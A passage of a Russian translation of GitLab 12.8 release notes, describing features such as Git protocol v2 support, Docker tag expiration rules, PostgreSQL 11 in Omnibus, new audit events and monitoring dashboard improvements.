(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
До сих пор для настройки уровней доступа для защищенных окружений пользователям приходилось обновлять разрешения ролей developer и maintainer через пользовательский интерфейс вместо интерфейса командной строки. Это было неэффективно для пользователей, которые работают через командную строку, и которым нужно поддерживать тот же уровень доступа для нескольких групп. Начиная с этого релиза, maintainers смогут экономить время, разрешая или запрещая доступ к защищенным окружениям через API, а не путем обновления разрешений через пользовательский интерфейс настроек.
[Документация по защищенным окружениям](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/30595).
### Включение приложений для ревью вставкой фрагмента кода
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Мы хотим сделать приложения для ревью простыми в установке, даже если у вас уже есть рабочий файл `.gitlab-ci.yml`. Мы добавили на страницу окружения новую кнопку **Включить приложения для ревью** (**Enable Review Apps**). Если вы используете Kubernetes и хотите включить приложения для ревью, то нажатие на кнопку покажет вам фрагмент кода YAML, который нужно добавить в ваш файл `.gitlab-ci.yml`.
[Документация по включению приложений для ревью](https://docs.gitlab.com/ee/ci/review_apps/#enable-review-apps-button) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/118844).
### Задания без предшественников в конвейерах с архитектурой направленного ациклического графа
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Чтобы показать GitLab, что для данного задания нет предшественников и что его всегда можно запускать немедленно, независимо от того, на какой оно стадии, можно задать пустой массив `needs:`. Таким образом вы можете задавать более гибкие отношения для конвейеров с архитектурой направленного ациклического графа, что позволит ускорить их выполнение и сделать их более эффективными.
[`Документация по переменной needs:`](https://docs.gitlab.com/ee/ci/yaml/#needs) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/30631).
### Улучшенный баннер с информацией по лицензии для Geo
(CORE, STARTER) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Geo доступен только для тарифов Premium и Ultimate. Ранее, если вы пытались включить Geo через интерфейс администратора при использовании лицензии Starter или Core, мы просто говорили вам, что ваша лицензия недействительна — не очень полезная информация. Теперь мы показываем более информативное сообщение, в котором говорится, какой лицензией вы пользуетесь, какая нужна для использования Geo, и в котором есть ссылка на страницу управления лицензиями.
Мы надеемся, что вы дадите Geo шанс!
[Документация по Geo](https://docs.gitlab.com/ee/administration/geo/replication/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/11729).
### Новые события аудита
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Мы продолжаем добавлять события аудита, чтобы улучшить отслеживание активности в инстансах с самоуправлением и группах на GitLab.com. В этом релизе мы добавили действия администратора для [создания, блокировки и удаления пользователей](https://gitlab.com/gitlab-org/gitlab/issues/251) и [включения изменений имен пользователей](https://gitlab.com/gitlab-org/gitlab/issues/7797) в логи инстансов с самоуправлением.
Эти новые события аудита помогут организациям, нацеленным на соблюдение требований, обеспечивать разделение обязанностей, управление доступом и неоспоримость действий (nonrepudiation).
[Документация по событиям аудита](https://docs.gitlab.com/ee/administration/audit_events.html#instance-events-premium-only) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/1217).
### Масштабирование графиков метрик
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Ось Y на графике метрик раньше всегда начиналась с нуля. Из-за этого пользователям было сложно отслеживать небольшие изменения на графике. Начиная с версии 12.8 значения шкалы Y будут автоматически масштабироваться согласно отображаемым данным.
[Документация по графикам Prometheus](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#area-or-line-chart) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/202696).
### Поиск окружений на панели метрик
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Поиск нужного окружения может сильно затянуться, если у вас их много. Теперь вы сможете быстро находить окружения, которые вы хотите видеть на панели метрик, в новой строке поиска в выпадающем меню.
[Документация по поиску окружений в выпадающем меню](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#select-an-environment) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/35288).
### Столбчатые диаграммы для панели метрик
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
При визуализации метрик пользователи зачастую хотят использовать разные типы графиков для разных метрик. Чтобы помочь им в этом, мы добавили столбчатые диаграммы в качестве нового способа визуализации на панели мониторинга. Визуализируйте ваши данные так, как вам больше нравится!
[Документация по столбчатым диаграммам](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#column) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/30584).
### Решение проблем со сборщиком мусора Docker для реестров контейнеров, использующих DigitalOcean S3
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Существует известная проблема при использовании Docker, при которой Ceph-хранилища для всех запросов с абсолютным URI влияют на работу сборщика мусора Docker. Так как DigitalOcean использует Ceph, он не дает пользователям запускать сборщик мусора, если они используют DigitalOcean для хранения. Это приводит к увеличению расходов на хранение.
В GitLab 12.8 мы решили эту проблему, обновив драйвер для [Ceph](https://ceph.io/ceph-storage/), чтобы он поддерживал последнюю версию API. Это позволит всем организациям, использующим DigitalOcean в качестве хранилища для реестра контейнеров GitLab, запускать сборщик мусора, снижая таким образом расходы на хранение.
[Документация по сборщику мусора реестра контейнеров](https://docs.gitlab.com/ee/administration/packages/container_registry.html#container-registry-garbage-collection) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/30325).
### Изменение имени отправителя писем из службы поддержки
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Plan"](https://about.gitlab.com/stages-devops-lifecycle/plan/)
По умолчанию письма, отправленные из вашей службы поддержки (Service Desk) на GitLab.com приходят от отправителя `GitLab Support Bot`. Во многих случаях авторы тикета не знают, что они переписываются с GitLab, из-за чего возникает путаница.
Теперь вы можете изменять имя отправителя писем из службы поддержки. Это позволит вам задать узнаваемое имя, соответствующее вашему бренду, чтобы ваши пользователи знали, с кем они переписываются.
[Документация по изменению имени отправителя писем из службы поддержки](https://docs.gitlab.com/ee/user/project/service_desk.html#using-custom-email-display-name) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/7529).
### Протокол Git v2
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Мы снова добавили поддержку протокола Git v2 через HTTP. Ранее мы объявляли о его поддержке в GitLab 11.4, однако были вынуждены отказаться от нее из-за проблемы с безопасностью в версиях Git до Git 2.21.
Разработчики проверяют обновления в репозиториях (`git fetch`) по несколько раз в день, чтобы проверить, не отстает ли их текущая локальная ветка от удаленной. Протокол Git v2 — это крупное обновление [коммуникационного протокола Git](https://www.kernel.org/pub/software/scm/git/docs/technical/pack-protocol.html), который определяет, как команды clone, fetch и push передаются между клиентом (вашим компьютером) и сервером (GitLab). Новый коммуникационный протокол улучшает производительность команд fetch и дает возможность для дальнейшего улучшения протокола.
Ранее все ответы на команды fetch включали в себя список всех ссылок (refs) в репозитории. Например, при скачивании обновлений для одной ветки (например, `git fetch origin master`) вы бы также получили полный список всех ссылок. Для больших проектов это может включать более 100 000 ссылок и десятки мегабайтов данных.
Протокол Git v2 поддерживается с версии Git 2.18.0 и не включен по умолчанию. Для подключения протокола выполните команду `git config --global protocol.version 2`. Протокол Git v2 через SSH пока не доступен. Следите за этим [тикетом](https://gitlab.com/gitlab-org/gitlab-shell/issues/273), чтобы получать обновления.
[Документация по протоколу Git](https://docs.gitlab.com/ee/administration/git_protocol.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/59994).
### Больше шаблонов CI/CD для приложений Kubernetes
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Установка приложений Kubernetes [при помощи GitLab CI/CD](https://docs.gitlab.com/ee/user/clusters/applications.html#install-using-gitlab-ci-alpha) — это отличный способ настраивать приложения под себя перед установкой.
В GitLab 12.8 доступны новые шаблоны для установки [JupyterHub](https://docs.gitlab.com/ee/user/clusters/applications.html#install-jupyterhub-using-gitlab-ci) и [Elastic Stack](https://docs.gitlab.com/ee/user/clusters/applications.html#install-elastic-stack-using-gitlab-ci) через GitLab CI/CD. Установка приложений через GitLab CI/CD также предоставляет контроль версий и управление доступом к установленным чартам.
[Документация по установке через GitLab CI/CD (альфа)](https://docs.gitlab.com/ee/user/clusters/applications.html#install-using-gitlab-ci-alpha) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/35668).
### Умное переиспользование пакфайлов Git
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
В GitLab 12.8 мы добавляем в Omnibus GitLab версию Git 2.24 с патчами для улучшения повторного использования пакфайлов Git.
se between the cost to serve a clone or a fetch, and the quality of the resulting packfile.
Когда клиент копирует или скачивает данные, для сервера эффективным решением будет как можно больше переиспользовать уже существующие пакфайлы. Улучшения заключаются в использовании нового, более умного алгоритма для повторного использования пакфайлов, который находит лучший компромисс между стоимостью выполнения клонирования или скачивания и качеством получаемого пакфайла.
Спасибо [Peff](https://github.com/peff/) и GitHub за то, что поделились этим улучшением, и спасибо Jonathan Tan (Google) за помощь в ревью! Мы надеемся, что [патчи](https://public-inbox.org/git/20191218112547.4974-1-chriscool@tuxfamily.org/) дойдут до Git 2.26.
[Документация по патчам для повторного использования пакфайлов](https://public-inbox.org/git/20191218112547.4974-1-chriscool@tuxfamily.org/) и [оригинальный тикет](https://gitlab.com/gitlab-org/git/issues/7).
### Использование ядра delta islands Git
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
В зависимости от структуры пакфайла на диске, клонирование репозитория Git может очень сильно нагружать процессор и память, если Git приходится собирать и сжимать пакфайл на лету. Экстремальная нагрузка на процессор и память может произойти при одновременном многократном клонировании крупного репозитория, например, при выполнении конвейера CI с параллельными процессами. Однако, если вы запустите повторное использование пакфайла, то вместо того, чтобы создавать его на лету, Git загрузит пакфайл напрямую с диска, что позволит избавиться от большей части нагрузки на процессор и память.
В GitLab 12.8 при перепаковке репозиториев создается [ядро delta island](https://gitlab.com/gitlab-org/git/blob/f1d4a28250629ae469fc5dd59ab843cb2fd68e12/Documentation/config/pack.txt#L35), которое содержит все достижимые ветки и теги, так что при клонировании репозитория Git запускается повторное использование пакфайла. Для активных репозиториев GitLab создает репаки автоматически, однако их создание также можно запускать вручную, кликнув **Run Housekeeping** в общих настройках проекта. При использовании «тонких» клонов для CI повторное использование пакфайла не будет запускаться.
[Документация по delta islands](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/delta_islands.md) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitaly/issues/1519).
### Документация по использованию предыдущих версий Knative
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Knative приближается к версии 1.0, однако многим пользователям GitLab пока приходится собирать более ранние версии Knative, так как процесс обновления Knative пока работает не безупречно. При этом возникает проблема, так как новые версии `gitlabktl` поддерживают только определенную версию Knative из-за изменений в API. Мы решили не добавлять поддержку старых версий, так как GitLab Serverless является альфа-фичей. По мере того, как мы добавляли обновления, каждая версия `gitlabktl` поддерживала только определенную версию Knative. Такая стратегия упрощает разработку и позволяет нам быстро выполнять итерации, однако она усложнила обновление GitLab, так как нам пришлось также добавлять обновления для Knative.
Эту проблему можно решить, используя закрепленную версию `gitlabktl`. Хотя такая возможность существовала всегда, додуматься до этого было непросто. Теперь мы добавили в нашу документацию четкий набор инструкций, чтобы упростить поиск и применение этого решения.
[`Документация по использованию предыдущих версий gitlabktl`](https://docs.gitlab.com/ee/user/project/clusters/serverless/#using-an-older-version-of-gitlabktl) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/35655).
### Быстро обновляемая база данных уязвимостей
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Мы постоянно обновляем нашу базу данных уязвимостей с учетом последних уязвимостей. Это гарантирует, что сканеры GitLab всегда ищут все уязвимости (в том числе и последние), защищая вас и ваши приложения.
В феврале 2020 года мы добавляли известные уязвимости в нашу базу данных в среднем за 2,2 дня после их объявления. Вы можете увидеть текущий статус наших обновлений уязвимостей в [справочнике](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update).
[Документация по обновлениям базы данных уязвимостей](https://docs.gitlab.com/ee/user/application_security/#maintenance-and-update-of-the-vulnerabilities-database) и [оригинальный тикет](https://gitlab.com/gitlab-com/www-gitlab-com/issues/5936).
### Исправление ошибок
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Некоторые из примечательных исправлений в GitLab 12.8:
* [Обработка объектов LFS для сетей форков](https://gitlab.com/gitlab-org/gitlab/issues/20042)
* [Проблема с порядком инициализации базы данных Geo](https://gitlab.com/gitlab-org/gitlab/issues/199672)
[Все исправления ошибок в GitLab 12.8](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name%5B%5D=bug&milestone_title=12.8).
### Темная тема подсветки синтаксиса для Web IDE
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
GitLab давно поддерживает альтернативные [темы подсветки синтаксиса](https://docs.gitlab.com/ee/user/profile/preferences.html#syntax-highlighting-theme) при просмотре файлов в репозитории или различий во время ревью кода. Однако наш редактор кода до сих пор не поддерживал темы подсветки синтаксиса, несмотря на то, что это наиболее востребованная фича для Web IDE.
Web IDE теперь поддерживает выбор темной темы подсветки синтаксиса при редактировании кода. Мы начали с этой темы, поскольку она самая популярная, не считая стандартной, но мы продолжим [расширять возможности](https://gitlab.com/groups/gitlab-org/-/epics/2389) настройки подсветки синтаксиса в Web IDE. Мы также будем работать над расширением [темной темы на остальные части Web IDE](https://gitlab.com/gitlab-org/gitlab/issues/199664), включая дерево файлов и боковые панели.
[Документация по темам подсветки синтаксиса](https://docs.gitlab.com/ee/user/profile/preferences.html#syntax-highlighting-theme) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/195701).
### Импорт и экспорт проектов теперь быстрее и надежнее
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
В GitLab 12.8 значительно улучшились импорт и экспорт проектов, что приведет к ускорению выполнения и повышению надежности.
Экспорт проектов теперь выполняется в четыре раза быстрее, при этом объем используемой памяти сокращается на 80%. Ранее экспорт крупных проектов мог завершиться неудачей из-за превышения ограничений по памяти. Теперь, когда памяти требуется меньше, у этих заданий намного больше шансов на успех.
Импорт проектов происходит примерно на 50% быстрее, благодаря значительному сокращению вызовов базы данных. В будущем мы планируем сократить объем памяти, необходимый для импорта, перейдя на формат [JSON с символом новой строки в качестве разделителя](https://gitlab.com/gitlab-org/gitlab/issues/197171).
[Документация по импорту и экспорту](https://docs.gitlab.com/ee/user/project/settings/import_export.html) и [оригинальный тикет](https://gitlab.com/gitlab-com/www-gitlab-com/issues/4951).
### Использование правил для удаления образов Docker
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Вы создаете много образов Docker в рамках своих конвейеров, однако многие из этих образов нужны только в течение короткого времени. До сих пор вам приходилось удалять образы через [API реестра контейнеров](https://docs.gitlab.com/ee/api/container_registry.html) или через пользовательский интерфейс. Оба варианта требуют усилий. Разве не было бы замечательно определить такие правила, чтобы эти нежелательные теги удалялись автоматически?
В 12.8 мы рады представить правила истечения срока действия тегов Docker для всех новых проектов. Эта новая функция позволяет идентифицировать тег по имени, выбирать, сколько версий тега сохранить, и определять, когда его следует удалить. Например, вы можете установить правило, которое будет удалять все имена тегов, которые соответствуют регулярному выражению, например, Git SHA, всегда сохранять как минимум пять образов и удалять любой образ старше 30 дней.
[Документация по политике истечения срока действия для реестра контейнеров](https://docs.gitlab.com/ee/user/packages/container_registry/#expiration-policy) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/15398).
### Сбор материалов релиза на дату окончания релиза
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Когда пользователи впервые создают запись в разделе «Релизы», для подтверждения в случае аудита берется снимок метаданных. Начиная с 12.8 мы автоматически делаем дополнительный снимок материалов релиза на дату окончания релиза. Когда есть второй снимок, можно сравнить начальное состояние релиза с его конечным состоянием. Так аудиторские команды будут лучше понимать, что поменялось между этими двумя моментами времени.
[Документация по снимкам материалов релиза](https://docs.gitlab.com/ee/user/project/releases/#scheduled-evidence-creation) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/38103).
### Geo движется к автоматизированной платформе для разработчиков
(PREMIUM, ULTIMATE) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Geo помогает работе распределенных команд благодаря репликации данных на локальные ноды Geo, а также используется для аварийного восстановления. Некоторые функции GitLab [пока не поддерживаются Geo](https://docs.gitlab.com/ee/administration/geo/replication/datatypes.html#limitations-on-replicationverification). Мы бы хотели, чтобы все будущие функции поставлялись с поддержкой Geo из коробки. Чтобы достичь этого, мы движемся к платформе разработки, которая облегчит разработчикам из сообщества GitLab предоставление новых типов данных, которые необходимо реплицировать и проверять.
Это важно, поскольку стандартизирует технические процессы, используемые в Geo для расширения Geo на другие части GitLab, и предоставит сообществу разработчиков GitLab прочную техническую базу для внесения будущих фич и улучшений в Geo. Фактически, будущие разработки будут быстрее и эффективнее.
В этом релизе мы собрали [для файлов пакетов первую итерацию](https://gitlab.com/gitlab-org/gitlab/issues/197319), которая устанавливает технические основы этой работы. В следующей итерации мы добавим поддержку репликации и проверки файла пакета.
[Документация по Geo](https://docs.gitlab.com/ee/development/geo/framework), [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/197319) и [эпик](https://gitlab.com/groups/gitlab-org/-/epics/2161).
### Хранилище для учетных записей, управляемых группой
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Управление доступом к вашим группам на GitLab.com требует просмотра учетных данных, которые люди используют для действий в этих группах.
В GitLab 12.8 мы расширили хранилище учетных данных с самоуправляемых экземпляров до GitLab.com. Теперь владельцы учетных записей, управляемых группами, могут просматривать учетные данные SSH и токены личного доступа, существующие в их группах. Это хранилище показывает пользователя, тип учетных данных и дату истечения срока действия, чтобы вы могли принимать обоснованные решения о доступе и ротации.
[Документация по инвентаризации для учетных записей, управляемых группой](https://docs.gitlab.com/ee/user/group/saml_sso/index.html#credentials-inventory-for-group-managed-accounts-ultimate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/38133).
### Реестр NPM GitLab поддерживает теги для распространения
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Пользователи хотели бы использовать метаданные пакета, чтобы убедиться, что их пакет NPM был загружен, или для поиска правильной версии пакета. Теги NPM можно использовать для предоставления псевдонима вместо номеров версий, что упрощает поиск пакетов. Например, проект может выбрать несколько направлений разработки и использовать разные теги для них — `stable`,`beta`, `dev` или `canary`.
Мы рады сообщить, что с GitLab 12.8 мы поддерживаем теги распространения NPM в нашем реестре NPM. Теперь вы можете добавлять, удалять и перечислять теги, связанные с любым пакетом, размещенным в реестре, что позволит быстрее и проще находить и обнаруживать пакеты.
[Документация по тегам распространения NPM](https://docs.gitlab.com/ee/user/packages/npm_registry/#npm-distribution-tags) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/9425).
### Поддержка модулей Go в сканировании зависимостей
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Мы рады добавить [модули Go](https://github.com/golang/go/wiki/Modules) в список [поддерживаемых языков](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) при сканировании зависимостей.
Хотя этот сканер уже действующий, эта фича пока в альфа-версии, поскольку база данных содержит определения уязвимостей модуля Go только начиная с 2019 года и позже. [В этом эпике](https://gitlab.com/groups/gitlab-org/-/epics/2206) мы кропотливо собираем любые отзывы о желаемом возрасте и типах поддержки Go в дополнение к любым проблемам, с которыми вы сталкиваетесь. Это поможет нам вывести поддержку этого языка из альфы.
[Документация по поддерживаемым языкам при сканировании зависимостей](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/7132).
### В новом синтаксисе правил появилось действие allow-failure
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
В качестве расширения нашего нового синтаксиса правил теперь можно определить правила конвейера, которые допускают возможность невыполнения. Это дает пользователям больше гибкости при настройке поведения их заданий и облегчает перенос дополнительных проектов в наш новый, более понятный для человека синтаксис.
[Документация по правилам, разрешающим неуспех](https://docs.gitlab.com/ee/ci/yaml/#rulesallow_failure) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/30235).
### Увеличенная длина журнала в сообщениях об ошибках конвейера
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Длина журнала в сообщениях об ошибках конвейера увеличилась с 10 до 30 строк, что облегчит просмотр большей части трассировки и повысит вероятность того, что все сообщение об ошибке поместится в электронное письмо.
Спасибо [Philipp Hasper](https://gitlab.com/PhilLab) за эту фичу!
[Документация по уведомлениям](https://docs.gitlab.com/ee/user/profile/notifications.html#issue--epics--merge-request-events) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/16540).
### PostgreSQL 11 теперь доступен в Omnibus GitLab
(CORE, STARTER, PREMIUM, ULTIMATE) ["Доступность"](https://about.gitlab.com/handbook/engineering/development/enablement/)
Пакет Omnibus GitLab теперь включает в себя PostgreSQL 11. Релиз PostgreSQL 11 включает в себя усовершенствования в разметке разделов и другие улучшения производительности, которые мы будем использовать в GitLab 13.x для повышения его общей скорости и скорости отклика. PostgreSQL 11 был полностью протестирован с Omnibus GitLab для новых установок и обновлений, включая конфигурации, требующие высокой доступности (HA). [Сейчас идет тестирование с Geo](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4971).
Обновления до PostgreSQL 11 по умолчанию выключены для GitLab 12.8. Инструкции по обновлению смотрите в [примечаниях к обновлению](https://docs.gitlab.com/omnibus/update/gitlab_12_changes.html). Новые установки и автоматические обновления с 9.6 по-прежнему по умолчанию будут использовать PostgreSQL 10. PostgreSQL 11 будет доступен из коробки в GitLab 12.10 и станет минимально необходимой версией PostgreSQL в GitLab 13.0. Более подробную информацию о дорожной карте PostgreSQL 11 в GitLab смотрите в [эпике о добавлении поддержки PostgreSQL 11](https://gitlab.com/groups/gitlab-org/-/epics/2414).
Мы рекомендуем администраторам инстансов, не использующих Geo, перейти на PostgreSQL 11 при первой же возможности, чтобы воспользоваться улучшением производительности и подготовиться к [удалению PostgreSQL 9.6 и 10.x в GitLab 13.0](#planned-removal-of-postgresql-9.6-and-10.x-in-gitlab-13.0).
[Документация по изменениям в Omnibus GitLab 12](https://docs.gitlab.com/omnibus/update/gitlab_12_changes.html) и [оригинальный тикет](https://gitlab.com/groups/gitlab-org/-/epics/2414).
### Автоматическое закрытие тикета при устранении связанной ошибки Sentry
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Управлять ошибками в вашем приложении и так достаточно сложно, даже когда не надо помнить о необходимости закрыть тикет в GitLab после исправления ошибки. Тикеты в GitLab теперь закрываются автоматически после устранения связанной ошибки Sentry. Это избавляет вас от дополнительной ручной работы и предотвращает путаницу, когда тикеты остаются активными.
[Документация по исправлению ошибок](https://docs.gitlab.com/ee/user/project/operations/error_tracking.html#resolving-errors) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/197371).
### Дублирование панели мониторинга вместе с пользовательскими метриками
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Ранее дублирование панелей мониторинга включало только стандартные метрики. Благодаря этому новому усовершенствованию в 12.8 пользовательские метрики включаются при клонировании панели мониторинга от GitLab, в которой были пользовательские метрики и метрики по умолчанию.
[Документация по клонированию панелей мониторинга](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#duplicating-a-gitlab-defined-dashboard) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/39505).
### Проект самомониторинга GitLab
(CORE, STARTER, PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Администраторы GitLab теперь могут получать информацию о состоянии своих инстансов GitLab, используя новый базовый проект, который будет добавлен в группу «Администраторы инстансов GitLab» (“GitLab Instance Administrators”). Он создан для визуализации и настройки ключевых метрик для мониторинга вашего экземпляра GitLab.
[Документация по проекту самомониторинга GitLab](https://docs.gitlab.com/ee/administration/monitoring/gitlab_self_monitoring_project/) и [Оригинальный тикет](https://gitlab.com/groups/gitlab-org/-/epics/2367).
### Переход от диаграммы метрик к логам
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
При работе с инцидентом важно просматривать и журналы, и метрики. Теперь при просмотре диаграммы метрик вы можете переходить непосредственно к просмотру логов, сохраняя контекст и не выходя из консоли GitLab.
[Документация по elastic-stack](https://docs.gitlab.com/ee/user/clusters/applications.html#elastic-stack) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/122013).
### Улучшена производительность API удаления для фронтенда реестра контейнеров
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Пользовательский интерфейс реестра контейнеров GitLab позволяет просматривать, обнаруживать и управлять образами вашего проекта. Проблема в том, что удаление тега было самым затратным действием на GitLab.com, причем выполнение некоторых запросов занимало до 60 секунд. Это приводило к замедлению загрузки страниц и увеличению количества запросов в службу поддержки.
В GitLab 12.8 мы рады сообщить, что мы улучшили производительность этой функции примерно на 70%. Это сократит время загрузки страницы и повысит надежность.
[Документация по реестру контейнеров](https://docs.gitlab.com/ee/user/packages/container_registry) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31832).
### Перетаскивание значков дизайна
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
При просмотре дизайна на вкладке **Дизайн** данного тикета вы можете добавить значки комментариев в любую область изображения и прикрепить комментарий. Это отлично подходит для обсуждения интересующих вопросов. Тем не менее, когда вы получаете обратную связь и загружаете новые ревизии, иногда вам нужно переместить значок на новое место. В этом релизе уже можно перетаскивать значки. А еще теперь вы можете:
* Перетащить значок комментария после того, как отпустили его.
* Переместить чужой значок, чтобы соответствовать вашим.
* Переместить значки в соответствии с новым дизайном после внесения изменений в макет.
[Документация по управлению дизайнами и добавлению комментариев](https://docs.gitlab.com/ee/user/project/issues/design_management.html#adding-annotations-to-designs) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/34353).
### Отображение пространства имен Kubernetes на странице задания
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Когда задание CI/CD развертывается в [окружении](https://docs.gitlab.com/ee/ci/environments.html) Kubernetes, страница сведений о задании теперь будет отображать пространство имен Kubernetes, используемое для этого развертывания. На странице сведений можно проверить, что рабочие нагрузки развернуты в нужное окружение.
